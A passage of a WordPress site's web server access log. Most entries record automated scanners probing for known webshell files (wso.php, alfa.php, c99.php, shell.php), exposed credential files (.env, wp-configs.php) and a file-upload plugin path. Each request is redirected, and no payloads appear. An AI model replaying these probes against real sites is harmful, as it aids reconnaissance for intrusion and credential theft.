+0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:38 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:41 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:51 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 216.26.255.191 - - [12/Feb/2026:23:08:19 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 72.146.1.23 - - [12/Feb/2026:21:37:18 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:21 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:23 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:25 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:29 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:11 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:36:45 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:16 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:19 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:55 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:58 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:00 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:01 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:04 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 181.211.104.218 - - [12/Feb/2026:22:26:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51.120.70.159 - - [12/Feb/2026:23:53:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 72.14.199.32 - - [13/Feb/2026:00:08:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)" 182.44.2.148 - - [13/Feb/2026:01:02:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 42.115.230.197 - - [13/Feb/2026:00:49:22 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.110.146 - - [13/Feb/2026:01:23:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.121.84.30 - - [13/Feb/2026:01:00:02 +0300] "GET /assets/backend/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 72.146.1.154 - - [13/Feb/2026:02:23:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 72.146.1.154 - - [13/Feb/2026:02:23:53 +0300] "GET /88.php HTTP/1.1" 301 795 "-" "-" 72.146.1.154 - - [13/Feb/2026:02:23:55 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 72.146.1.154 - - [13/Feb/2026:02:23:56 +0300] "GET /php8.php HTTP/1.1" 301 795 "-" "-" 72.146.1.154 - - [13/Feb/2026:02:23:58 +0300] "GET /cvtcosue.php HTTP/1.1" 301 795 "-" "-" 72.146.1.154 - - [13/Feb/2026:02:24:05 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 72.146.1.154 - - [13/Feb/2026:02:24:28 +0300] "GET /aer.php HTTP/1.1" 301 795 "-" "-" 43.158.91.71 - - [13/Feb/2026:02:23:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 72.146.1.154 - - [13/Feb/2026:02:24:41 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 72.146.1.154 - - [13/Feb/2026:02:24:43 +0300] "GET /667.php HTTP/1.1" 301 795 "-" "-" 72.146.1.154 - - [13/Feb/2026:02:24:46 +0300] "GET /kma.php HTTP/1.1" 301 795 "-" "-" 72.146.1.154 - - [13/Feb/2026:02:24:49 +0300] "GET /kimono.php HTTP/1.1" 301 795 "-" "-" 51.120.78.0 - - [13/Feb/2026:02:51:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.120.78.0 - - [13/Feb/2026:02:51:59 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 34.31.147.216 - - [13/Feb/2026:03:26:04 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 34.31.147.216 - - [13/Feb/2026:03:26:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 107.174.231.218 - - [13/Feb/2026:04:13:26 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 3.139.242.79 - - [13/Feb/2026:05:50:38 +0300] "GET / HTTP/1.1" 301 795 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 14.161.35.120 - - [13/Feb/2026:07:13:39 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.130.102.7 - - [13/Feb/2026:07:59:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.166.49.198 - - [13/Feb/2026:08:42:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:43:23 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:43:51 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:43:55 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:43:58 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:44:00 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:44:15 +0300] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:45:01 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:46:21 +0300] "GET /first.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:46:46 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:46:49 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:46:52 +0300] "GET /ot.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:46:54 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:46:58 +0300] "GET /pass.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:44:39 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:45:29 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:46:10 +0300] "GET /el.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:46:10 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 45.194.92.21 - - [13/Feb/2026:08:18:53 +0300] "GET /plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 93.158.90.161 - - [13/Feb/2026:08:38:28 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 20.166.49.198 - - [13/Feb/2026:08:43:10 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:45:37 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:45:44 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:45:47 +0300] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:45:50 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 93.158.90.168 - - [13/Feb/2026:08:38:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 20.166.49.198 - - [13/Feb/2026:08:43:38 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:44:22 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:45:14 +0300] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:43:02 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 20.166.49.198 - - [13/Feb/2026:08:46:37 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 45.55.160.156 - - [13/Feb/2026:09:32:19 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 45.55.160.156 - - [13/Feb/2026:09:32:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 43.167.157.80 - - [13/Feb/2026:09:05:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.89.152.156 - - [13/Feb/2026:09:17:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.89.152.156 - - [13/Feb/2026:09:17:27 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 20.43.58.219 - - [13/Feb/2026:11:47:07 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 20.43.58.219 - - [13/Feb/2026:11:46:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 93.158.90.73 - - [13/Feb/2026:11:59:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604" 91.212.150.122 - - [13/Feb/2026:12:05:34 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 20.234.88.224 - - [13/Feb/2026:12:17:53 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:55 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:57 +0300] "GET /Update/f35.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:58 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:00 +0300] "GET /Wp-good.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:04 +0300] "GET /tphp.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:06 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:10 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:13 +0300] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:02 +0300] "GET //wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:16 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:20 +0300] "GET //wso.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:59 +0300] "GET /WordPress/x/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:02 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:04 +0300] "GET //geck.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:07 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:09 +0300] "GET //admin/function.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:21 +0300] "GET //content.php HTTP/1.1" 301 795 "-" "-" 217.216.74.224 - - [13/Feb/2026:12:34:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.216.74.224 - - [13/Feb/2026:12:34:53 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.234.88.224 - - [13/Feb/2026:12:17:30 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:33 +0300] "GET /2026.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:35 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:37 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:39 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:42 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:45 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:48 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:35 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:39 +0300] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:41 +0300] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:45 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:29 +0300] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:32 +0300] "GET /hey.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:34 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:36 +0300] "GET //1337.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:09 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:09 +0300] "GET /n3.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:12 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:14 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:17 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:18 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:20 +0300] "GET /.trash7309/f/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:22 +0300] "GET //wp.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:27 +0300] "GET //wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:29 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:33 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:54 +0300] "GET //user.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:24:01 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:24:01 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:24:05 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:24:05 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:24:08 +0300] "GET /wp4.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:26 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:30 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:32 +0300] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:33 +0300] "GET /ioxi-o2.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:34 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:35 +0300] "GET /dlu.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:38 +0300] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:44 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:47 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:49 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:53 +0300] "GET //404.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:35 +0300] "GET //doc.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:47 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:51 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:51 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:55 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:57 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:57 +0300] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:26 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:27 +0300] "GET /ps.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:58 +0300] "GET /des.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:59 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:28:02 +0300] "GET //lufix.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:26 +0300] "GET /images/fk2e3/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:29 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:52 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:52 +0300] "GET /mans.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:54 +0300] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:18 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:20 +0300] "GET /ftp.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:22 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:27 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:29 +0300] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:32 +0300] "GET /cool.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:35 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:37 +0300] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:42 +0300] "GET //elp.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:45 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:48 +0300] "GET //wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:49 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:53 +0300] "GET /.trash7309/fafa/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:54 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:56 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:56 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:06 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:11 +0300] "GET //.cache/x.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:27:22 +0300] "GET /dr.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:41 +0300] "GET //wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:42 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:45 +0300] "GET //wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:40 +0300] "GET //buy.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:37 +0300] "GET /.trash7309/dd/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:41 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:44 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:47 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:50 +0300] "GET //wp-content/plugins/achdxhv/languages/admin.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:24:25 +0300] "GET //wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:24:28 +0300] "GET /asd67.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:24:31 +0300] "GET //sad/about.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:52 +0300] "GET //install.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:56 +0300] "GET /~norapump/hah.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:58 +0300] "GET /sto.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:00 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:37 +0300] "GET //skin/install/default/security.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:08 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:20:08 +0300] "GET /wp/wp-includes//index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:32 +0300] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:17:21 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:18 +0300] "GET //alfa.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:21 +0300] "GET //wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:24 +0300] "GET /luxe.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:27 +0300] "GET /update/wpupex.php/ HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:18:30 +0300] "GET /rezor.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:19:04 +0300] "GET //test.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:21:14 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:02 +0300] "GET /museu/yhweq.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:06 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:08 +0300] "GET //w.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:13 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:15 +0300] "GET /gib.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:19 +0300] "GET 